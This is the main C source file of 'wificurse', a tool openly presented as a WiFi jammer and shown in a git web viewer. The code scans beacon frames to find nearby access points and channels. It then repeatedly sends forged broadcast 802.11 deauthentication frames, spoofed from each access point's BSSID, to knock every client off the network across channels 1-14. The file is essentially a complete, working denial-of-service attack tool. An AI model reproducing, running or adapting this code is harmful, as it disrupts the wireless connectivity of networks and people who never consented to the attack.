wificurse

wifi jamming tool
git clone git@git.2f30.org/wificurse.git
Log | Files | Refs | README | LICENSE

wificurse.c (14071B)


      1 /*
      2     wificurse - WiFi Jamming tool
      3     Copyright (C) 2012  oblique
      4 
      5     This program is free software: you can redistribute it and/or modify
      6     it under the terms of the GNU General Public License as published by
      7     the Free Software Foundation, either version 3 of the License, or
      8     (at your option) any later version.
      9 
     10     This program is distributed in the hope that it will be useful,
     11     but WITHOUT ANY WARRANTY; without even the implied warranty of
     12     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     13     GNU General Public License for more details.
     14 
     15     You should have received a copy of the GNU General Public License
     16     along with this program.  If not, see <http://www.gnu.org/licenses/>.
     17 */
     18 
     19 #include <stdio.h>
     20 #include <stdlib.h>
     21 #include <stdint.h>
     22 #include <string.h>
     23 #include <unistd.h>
     24 #include <poll.h>
     25 #include <signal.h>
     26 #include <pthread.h>
     27 #include <time.h>
     28 #include <sys/time.h>
     29 #include <linux/rtnetlink.h>
     30 #include "iw.h"
     31 #include "error.h"
     32 #include "console.h"
     33 #include "ap_list.h"
     34 #include "channelset.h"
     35 #include "wificurse.h"
     36 
     37 
     38 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))
     39 
     40 struct deauth_thread_args {
     41 	struct ap_list *apl;
     42 	struct iw_dev *dev;
     43 	pthread_mutex_t *chan_mutex;
     44 	pthread_cond_t *chan_cond;
     45 	pthread_mutex_t *list_mutex;
     46 	pthread_mutex_t *cnc_mutex;
     47 	int chan_need_change;
     48 	volatile int chan_changed;
     49 	volatile int stop;
     50 };
     51 
     52 int send_deauth(struct iw_dev *dev, struct access_point *ap) {
     53 	struct mgmt_frame *deauth;
     54 	uint16_t *reason;
     55 	ssize_t r;
     56 
     57 	deauth = malloc(sizeof(*deauth) + sizeof(*reason));
     58 	if (deauth == NULL)
     59 		return_error("malloc");
     60 
     61 	memset(deauth, 0, sizeof(deauth));
     62 	deauth->fc.subtype = FRAME_CONTROL_SUBTYPE_DEAUTH;
     63 	/* broadcast mac (ff:ff:ff:ff:ff:ff) */
     64 	memset(deauth->dest_mac, '\xff', IFHWADDRLEN);
     65 	memcpy(deauth->src_mac, ap->info.bssid, IFHWADDRLEN);
     66 	memcpy(deauth->bssid, ap->info.bssid, IFHWADDRLEN);
     67 	reason = (uint16_t*)&deauth->frame_body;
     68 	/* reason 7: Class 3 frame received from nonassociated STA */
     69 	*reason = 7;
     70 
     71 	/* send deauth */
     72 	deauth->sc.sequence = ap->sequence++;
     73 	ap->sequence %= 4096;
     74 	do {
     75 		r = iw_write(dev, deauth, sizeof(*deauth) + sizeof(*reason));
     76 	} while (r == 0);
     77 	if (r < 0) {
     78 		free(deauth);
     79 		return r;
     80 	}
     81 
     82 	free(deauth);
     83 
     84 	return 0;
     85 }
     86 
     87 int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
     88 	uint8_t buf[4096], *pkt;
     89 	size_t pkt_sz;
     90 	ssize_t r, tmp, n;
     91 	uintptr_t tmp_ip;
     92 	struct mgmt_frame *beacon;
     93 	struct beacon_frame_body *beacon_fb;
     94 	struct info_element *beacon_ie;
     95 
     96 	r = iw_read(dev, buf, sizeof(buf), &pkt, &pkt_sz);
     97 	if (r < 0)
     98 		return r;
     99 
    100 	if (pkt_sz < sizeof(*beacon) + sizeof(*beacon_fb))
    101 		return ERRNODATA;
    102 
    103 	beacon = (struct mgmt_frame*)pkt;
    104 
    105 	/* if it's a beacon packet */
    106 	if (beacon->fc.type == FRAME_CONTROL_TYPE_MGMT_FRAME
    107 	    && beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) {
    108 		memcpy(api->bssid, beacon->bssid, IFHWADDRLEN);
    109 		beacon_fb = (struct beacon_frame_body*)beacon->frame_body;
    110 		beacon_ie = (struct info_element*)beacon_fb->infos;
    111 		api->essid[0] = '\0';
    112 		n = 0;
    113 
    114 		/* parse beacon */
    115 		while (1) {
    116 			tmp_ip = (uintptr_t)beacon_ie + sizeof(*beacon_ie);
    117 			if (tmp_ip - (uintptr_t)buf >= r)
    118 				break;
    119 			tmp_ip += beacon_ie->len;
    120 			if (tmp_ip - (uintptr_t)buf > r)
    121 				break;
    122 			if (beacon_ie->id == INFO_ELEMENT_ID_SSID) { /* SSID found */
    123 				tmp = beacon_ie->len < ESSID_LEN ? beacon_ie->len : ESSID_LEN;
    124 				memcpy(api->essid, beacon_ie->info, tmp);
    125 				api->essid[tmp] = '\0';
    126 				n |= 1;
    127 			} else if (beacon_ie->id == INFO_ELEMENT_ID_DS) { /* channel number found */
    128 				if (beacon_ie->len != 1)
    129 					break;
    130 				api->chan = beacon_ie->info[0];
    131 				n |= 2;
    132 			}
    133 			if (n == (1|2))
    134 				break;
    135 			/* next beacon element */
    136 			beacon_ie = (struct info_element*)&beacon_ie->info[beacon_ie->len];
    137 		}
    138 
    139 		/* if we didn't find the channel number
    140 		 * then return ERRNODATA
    141 		 */
    142 		if (!(n & 2))
    143 			return ERRNODATA;
    144 
    145 		return 0;
    146 	}
    147 
    148 	return ERRNODATA;
    149 }
    150 
    151 void *deauth_thread_func(void *arg) {
    152 	struct deauth_thread_args *ta = arg;
    153 	struct access_point *ap, *tmp;
    154 	int i, j, b;
    155 
    156 	while (!ta->stop) {
    157 		pthread_mutex_lock(ta->chan_mutex);
    158 		/* make sure that it changed channel */
    159 		while (!ta->chan_changed && !ta->stop)
    160 			pthread_cond_wait(ta->chan_cond, ta->chan_mutex);
    161 
    162 		b = 0;
    163 		for (i=0; i<60 && !ta->stop; i++) {
    164 			for (j=0; j<128 && !ta->stop; j++) {
    165 				ap = ta->apl->head;
    166 				while (ap != NULL && !ta->stop) {
    167 					/* if the last beacon we got was 3 mins ago, remove AP */
    168 					pthread_mutex_lock(ta->list_mutex);
    169 					if (time(NULL) - ap->last_beacon_tm >= 3*60) {
    170 						tmp = ap;
    171 						ap = ap->next;
    172 						unlink_ap(ta->apl, tmp);
    173 						free(tmp);
    174 						pthread_mutex_unlock(ta->list_mutex);
    175 						continue;
    176 					}
    177 					pthread_mutex_unlock(ta->list_mutex);
    178 					/* if interface and AP are in the same channel, send deauth */
    179 					if (ap->info.chan == ta->dev->chan) {
    180 						if (send_deauth(ta->dev, ap) < 0) {
    181 							print_error();
    182 							ta->stop = 2; /* notify main thread that we got an error */
    183 						}
    184 						b = 1;
    185 						ap->num_of_deauths++;
    186 					}
    187 					ap = ap->next;
    188 				}
    189 				/* if we have send deauth, sleep for 2000 microseconds */
    190 				if (b && !ta->stop)
    191 					usleep(2000);
    192 			}
    193 			/* if we have send deauth, sleep for 180000 microseconds */
    194 			if (b && !ta->stop)
    195 				usleep(180000);
    196 		}
    197 
    198 		pthread_mutex_lock(ta->cnc_mutex);
    199 		if (ta->chan_need_change)
    200 			ta->chan_changed = 0;
    201 		pthread_mutex_unlock(ta->cnc_mutex);
    202 		pthread_mutex_unlock(ta->chan_mutex);
    203 	}
    204 
    205 	return NULL;
    206 }
    207 
    208 static void print_usage(FILE *f) {
    209 	fprintf(f, "\n  WiFi Curse v" VERSION " (C) 2012  oblique\n\n");
    210 	fprintf(f, "  usage: wificurse [options] <interface>\n\n");
    211 	fprintf(f, "  Options:\n");
    212 	fprintf(f, "    -c channels      Channel list (e.g 1,4-6,11) (default: 1-14)\n");
    213 	fprintf(f, "    -l               Display all network interfaces and exit\n");
    214 	fprintf(f, "\n");
    215 }
    216 
    217 static int print_interfaces() {
    218 	int sock, len;
    219 	struct nlmsghdr *nlm;
    220 	struct iovec iov;
    221 	struct msghdr rtnl_msg;
    222 	struct sockaddr_nl s_nl;
    223 	struct {
    224 		struct nlmsghdr nh;
    225 		struct rtgenmsg rtgm;
    226 	} req;
    227 	char buf[8192];
    228 
    229 	printf("Network interfaces:\n");
    230 
    231 	/* open netlink socket */
    232 	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE);
    233 	if (sock < 0) {
    234 		perror("sock");
    235 		return 1;
    236 	}
    237 
    238 	/* initialize request */
    239 	memset(&req, 0, sizeof(req));
    240 	req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(req.rtgm));
    241 	req.nh.nlmsg_type = RTM_GETLINK;
    242 	req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
    243 	req.nh.nlmsg_seq = 1;
    244 	req.nh.nlmsg_pid = getpid();
    245 	req.rtgm.rtgen_family = AF_PACKET;
    246 
    247 	memset(&s_nl, 0, sizeof(s_nl));
    248 	s_nl.nl_family = AF_NETLINK;
    249 
    250 	iov.iov_base = &req;
    251 	iov.iov_len = req.nh.nlmsg_len;
    252 
    253 	memset(&rtnl_msg, 0, sizeof(rtnl_msg));
    254 	rtnl_msg.msg_iov = &iov;
    255 	rtnl_msg.msg_iovlen = 1;
    256 	rtnl_msg.msg_name = &s_nl;
    257 	rtnl_msg.msg_namelen = sizeof(s_nl);
    258 
    259 	/* send request */
    260 	len = sendmsg(sock, &rtnl_msg, 0);
    261 	if (len < 0) {
    262 		perror("sendmsg");
    263 		close(sock);
    264 		return 1;
    265 	}
    266 
    267 	int end = 0;
    268 	while (!end) {
    269 		iov.iov_base = buf;
    270 		iov.iov_len = sizeof(buf);
    271 
    272 		memset(&rtnl_msg, 0, sizeof(rtnl_msg));
    273 		rtnl_msg.msg_iov = &iov;
    274 		rtnl_msg.msg_iovlen = 1;
    275 		rtnl_msg.msg_name = &s_nl;
    276 		rtnl_msg.msg_namelen = sizeof(s_nl);
    277 
    278 		/* receive response */
    279 		len = recvmsg(sock, &rtnl_msg, 0);
    280 		if (len < 0) {
    281 			perror("recvmsg");
    282 			close(sock);
    283 			return 1;
    284 		}
    285 
    286 		/* read response */
    287 		nlm = (struct nlmsghdr*)buf;
    288 		while (NLMSG_OK(nlm, len)) {
    289 			if (nlm->nlmsg_type == NLMSG_DONE) {
    290 				end = 1;
    291 				break;
    292 			} else if (nlm->nlmsg_type == RTM_NEWLINK) {
    293 				struct ifinfomsg *ifinfo;
    294 				struct rtattr *rta;
    295 				int iflen;
    296 
    297 				ifinfo = NLMSG_DATA(nlm);
    298 				rta = IFLA_RTA(ifinfo);
    299 				iflen = IFLA_PAYLOAD(nlm);
    300 
    301 				while (RTA_OK(rta, iflen)) {
    302 					if (rta->rta_type == IFLA_IFNAME)
    303 						printf("  %s\n", (char*)RTA_DATA(rta));
    304 					rta = RTA_NEXT(rta, iflen);
    305 				}
    306 			}
    307 			nlm = NLMSG_NEXT(nlm, len);
    308 		}
    309 	}
    310 
    311 	close(sock);
    312 	return 0;
    313 }
    314 
    315 static int parse_chans_str(char *chans_str, channelset_t *chans) {
    316 	char *s, *str, *ptrs[256] = { NULL };
    317 	int i, j, n, chan1, chan2;
    318 
    319 	channel_zero(chans);
    320 
    321 	str = strtok_r(chans_str, ",", &s);
    322 	ptrs[0] = str;
    323 	n = 1;
    324 	while (n < ARRAY_SIZE(ptrs)-1) {
    325 		str = strtok_r(NULL, ",", &s);
    326 		if (str == NULL)
    327 			break;
    328 		ptrs[n++] = str;
    329 	}
    330 
    331 	i = 0;
    332 	while (ptrs[i] != NULL) {
    333 		if (ptrs[i][0] == '-')
    334 			return -1;
    335 		n = 0;
    336 		for (j = 0; ptrs[i][j] != '\0'; j++) {
    337 			if (ptrs[i][j] == '-') {
    338 				if (ptrs[i][j+1] == '\0')
    339 					return -1;
    340 				n++;
    341 				if (n > 1)
    342 					return -1;
    343 			} else if (ptrs[i][j] < '0' || ptrs[i][j] > '9')
    344 				return -1;
    345 		}
    346 
    347 		str = strtok_r(ptrs[i], "-", &s);
    348 		chan1 = atoi(str);
    349 		if (chan1 == 0)
    350 			return -1;
    351 
    352 		if (s[0] == '\0')
    353 			chan2 = chan1;
    354 		else
    355 			chan2 = atoi(s);
    356 
    357 		if (chan1 >= 256 || chan2 >= 256)
    358 			return -1;
    359 
    360 		if (chan1 > chan2)
    361 			return -1;
    362 
    363 		for (j = chan1; j <= chan2; j++)
    364 			channel_set(chans, j);
    365 		i++;
    366 	}
    367 
    368 	return 0;
    369 }
    370 
    371 int main(int argc, char *argv[]) {
    372 	struct ap_list apl;
    373 	struct ap_info api;
    374 	struct iw_dev dev;
    375 	struct pollfd pfd[2];
    376 	struct deauth_thread_args ta;
    377 	struct timeval tv1, tv2;
    378 	suseconds_t msec;
    379 	pthread_t deauth_thread;
    380 	pthread_mutex_t chan_mutex, list_mutex, cnc_mutex;
    381 	pthread_cond_t chan_cond;
    382 	channelset_t chans;
    383 	int ret, sigfd, c, n, chan;
    384 	char *ifname, *chans_str;
    385 	sigset_t exit_sig;
    386 	time_t tm;
    387 
    388 	if (argc < 2) {
    389 		print_usage(stderr);
    390 		return EXIT_FAILURE;
    391 	}
    392 
    393 	/* arguments */
    394 	ifname = argv[argc-1];
    395 	chans_str = NULL;
    396 
    397 	while((c = getopt(argc, argv, "c:lh")) != -1) {
    398 		switch (c) {
    399 		case 'c':
    400 			chans_str = optarg;
    401 			break;
    402 		case 'l':
    403 			return print_interfaces();
    404 		case 'h':
    405 			print_usage(stdout);
    406 			return EXIT_SUCCESS;
    407 		case '?':
    408 		default:
    409 			return EXIT_FAILURE;
    410 		}
    411 	}
    412 
    413 	if (argv[optind] != ifname) {
    414 		print_usage(stderr);
    415 		return EXIT_FAILURE;
    416 	}
    417 
    418 	if (getuid()) {
    419 		fprintf(stderr, "Not root?\n");
    420 		return EXIT_FAILURE;
    421 	}
    422 
    423 	/* init channel set */
    424 	if (chans_str == NULL) {
    425 		channel_zero(&chans);
    426 		for (n=1; n<=14; n++)
    427 			channel_set(&chans, n);
    428 	} else {
    429 		if (parse_chans_str(chans_str, &chans) == -1) {
    430 			fprintf(stderr, "Can not parse the channels\n");
    431 			return EXIT_FAILURE;
    432 		}
    433 	}
    434 
    435 	/* init access point list */
    436 	init_ap_list(&apl);
    437 
    438 	/* init signals */
    439 	sigemptyset(&exit_sig);
    440 	sigaddset(&exit_sig, SIGINT);
    441 	sigaddset(&exit_sig, SIGTERM);
    442 
    443 	if (sigprocmask(SIG_BLOCK, &exit_sig, NULL) < 0) {
    444 		err_msg("sigprocmask");
    445 		return EXIT_FAILURE;
    446 	}
    447 
    448 	sigfd = signalfd(-1, &exit_sig, 0);
    449 	if (sigfd < 0) {
    450 		err_msg("signalfd");
    451 		return EXIT_FAILURE;
    452 	}
    453 
    454 	pfd[0].fd = sigfd;
    455 	pfd[0].revents = 0;
    456 	pfd[0].events = POLLIN;
    457 
    458 	/* init device */
    459 	iw_init_dev(&dev);
    460 	strncpy(dev.ifname, ifname, sizeof(dev.ifname)-1);
    461 
    462 	if (iw_open(&dev) < 0) {
    463 		print_error();
    464 		goto _errout_no_thread;
    465 	}
    466 
    467 	pfd[1].fd = dev.fd_in;
    468 	pfd[1].revents = 0;
    469 	pfd[1].events = POLLIN;
    470 
    471 	/* set channel */
    472 	n = 0;
    473 	chan = 0;
    474 	do {
    475 		chan = (chan % CHANNEL_MAX) + 1;
    476 		if (channel_isset(&chans, chan))
    477 			ret = iw_set_channel(&dev, chan);
    478 		else
    479 			ret = -1;
    480 		/* if fails try next channel */
    481 	} while(++n < CHANNEL_MAX && ret < 0);
    482 	if (ret < 0) {
    483 		print_error();
    484 		goto _errout_no_thread;
    485 	}
    486 
    487 	/* start deauth thread */
    488 	ta.stop = 0;
    489 	ta.apl = &apl;
    490 	ta.dev = &dev;
    491 	pthread_mutex_init(&chan_mutex, NULL);
    492 	ta.chan_mutex = &chan_mutex;
    493 	pthread_cond_init(&chan_cond, NULL);
    494 	ta.chan_cond = &chan_cond;
    495 	pthread_mutex_init(&list_mutex, NULL);
    496 	ta.list_mutex = &list_mutex;
    497 	ta.chan_changed = 1;
    498 	pthread_mutex_init(&cnc_mutex, NULL);
    499 	ta.cnc_mutex = &cnc_mutex;
    500 	ta.chan_need_change = 0;
    501 
    502 	if (pthread_create(&deauth_thread, NULL, deauth_thread_func, &ta) < 0) {
    503 		err_msg("pthread_create");
    504 		goto _errout_no_thread;
    505 	}
    506 
    507 	clear_scr();
    508 	update_scr(&apl, &dev);
    509 	tm = time(NULL);
    510 	gettimeofday(&tv1, NULL);
    511 
    512 	while (!ta.stop) {
    513 		if (poll(pfd, 2, 0) < 0) {
    514 			err_msg("poll");
    515 			goto _errout;
    516 		}
    517 
    518 		if (pfd[0].revents & POLLIN) /* got SIGTERM or SIGINT */
    519 			break;
    520 
    521 		if (pfd[1].revents & POLLIN) {
    522 			ret = read_ap_info(&dev, &api);
    523 			if (ret < 0 && ret != ERRNODATA) { /* error */
    524 				print_error();
    525 				goto _errout;
    526 			} else if (ret == 0 && channel_isset(&chans, api.chan)) { /* got infos */
    527 				pthread_mutex_lock(&list_mutex);
    528 				if (add_or_update_ap(&apl, &api) < 0) {
    529 					pthread_mutex_unlock(&list_mutex);
    530 					print_error();
    531 					goto _errout;
    532 				}
    533 				pthread_mutex_unlock(&list_mutex);
    534 			}
    535 		}
    536 
    537 		gettimeofday(&tv2, NULL);
    538 		if (tv2.tv_usec > tv1.tv_usec)
    539 			msec = tv2.tv_usec - tv1.tv_usec;
    540 		else
    541 			msec = tv1.tv_usec - tv2.tv_usec;
    542 
    543 		/* update screen every 0.5 second */
    544 		if (msec >= 500000) {
    545 			pthread_mutex_lock(&list_mutex);
    546 			update_scr(&apl, &dev);
    547 			pthread_mutex_unlock(&list_mutex);
    548 			gettimeofday(&tv1, NULL);
    549 		}
    550 
    551 		/* change channel at least every 1 second */
    552 		if (time(NULL) - tm >= 1) {
    553 			if (!ta.chan_changed) {
    554 				pthread_mutex_lock(&cnc_mutex);
    555 				ta.chan_need_change = 0;
    556 				pthread_mutex_unlock(&cnc_mutex);
    557 				pthread_mutex_lock(&chan_mutex);
    558 				n = 0;
    559 				do {
    560 					chan = (chan % CHANNEL_MAX) + 1;
    561 					if (channel_isset(&chans, chan))
    562 						ret = iw_set_channel(&dev, chan);
    563 					else
    564 						ret = -1;
    565 					/* if fails try next channel */
    566 				} while(++n < CHANNEL_MAX && ret < 0);
    567 				/* if all channels failed */
    568 				if (ret < 0) {
    569 					print_error();
    570 					goto _errout;
    571 				}
    572 				tm = time(NULL);
    573 				ta.chan_changed = 1;
    574 				pthread_cond_signal(&chan_cond);
    575 				pthread_mutex_unlock(&chan_mutex);
    576 			} else {
    577 				pthread_mutex_lock(&cnc_mutex);
    578 				ta.chan_need_change = 1;
    579 				pthread_mutex_unlock(&cnc_mutex);
    580 			}
    581 		}
    582 	}
    583 
    584 	/* we got an error from deauth thread */
    585 	if (ta.stop == 2)
    586 		goto _errout;
    587 
    588 	printf("\nExiting..\n");
    589 	ta.stop = 1;
    590 	pthread_mutex_unlock(&list_mutex);
    591 	pthread_cond_broadcast(&chan_cond);
    592 	pthread_mutex_unlock(&chan_mutex);
    593 	pthread_join(deauth_thread, NULL);
    594 	iw_close(&dev);
    595 	free_ap_list(&apl);
    596 	return EXIT_SUCCESS;
    597 _errout:
    598 	ta.stop = 1;
    599 	pthread_mutex_unlock(&list_mutex);
    600 	pthread_cond_broadcast(&chan_cond);
    601 	pthread_mutex_unlock(&chan_mutex);
    602 	pthread_join(deauth_thread, NULL);
    603 _errout_no_thread:
    604 	iw_close(&dev);
    605 	free_ap_list(&apl);
    606 	return EXIT_FAILURE;
    607 }